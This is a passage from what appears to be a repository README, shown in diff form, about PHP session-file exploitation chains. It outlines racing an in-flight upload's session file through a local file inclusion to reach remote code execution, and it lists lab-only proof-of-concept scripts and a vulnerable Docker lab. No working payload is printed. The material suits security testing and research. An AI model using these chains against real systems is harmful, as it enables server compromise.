fixation via POST body PHPSESSID, raw filename storage, inclusion).
|
||||
4. Race the session file's lifetime: include it through the LFI while the
|
||||
upload is still in flight (or keep the upload connection open).
|
||||
5. Verify RCE with a single marker command; record the request sequence as
|
||||
evidence.
|
||||
|
||||
## Detection without an LFI
|
||||
|
||||
The chains need an app-level file-inclusion primitive; without one the
|
||||
configuration is hardening-relevant, not exploitable. Report posture only.
|
||||
|
||||
## Vendored artifacts
|
||||
|
||||
- `poc/verify_session_injection.py` - chain 1 end-to-end against a lab URL
|
||||
- `poc/verify_handler_mismatch.py` - chain 3 (lab only)
|
||||
- `poc/verify_uaf_asan.php` - chain 2 under an ASAN PHP build (lab only)
|
||||
- `lab/setup.sh` - builds the vulnerable docker lab locally
|
||||
- `docs/ANALYSIS.md`, `README.upstream.md` - the upstream technical writeup
|
||||
Reference in New Issue
Block a user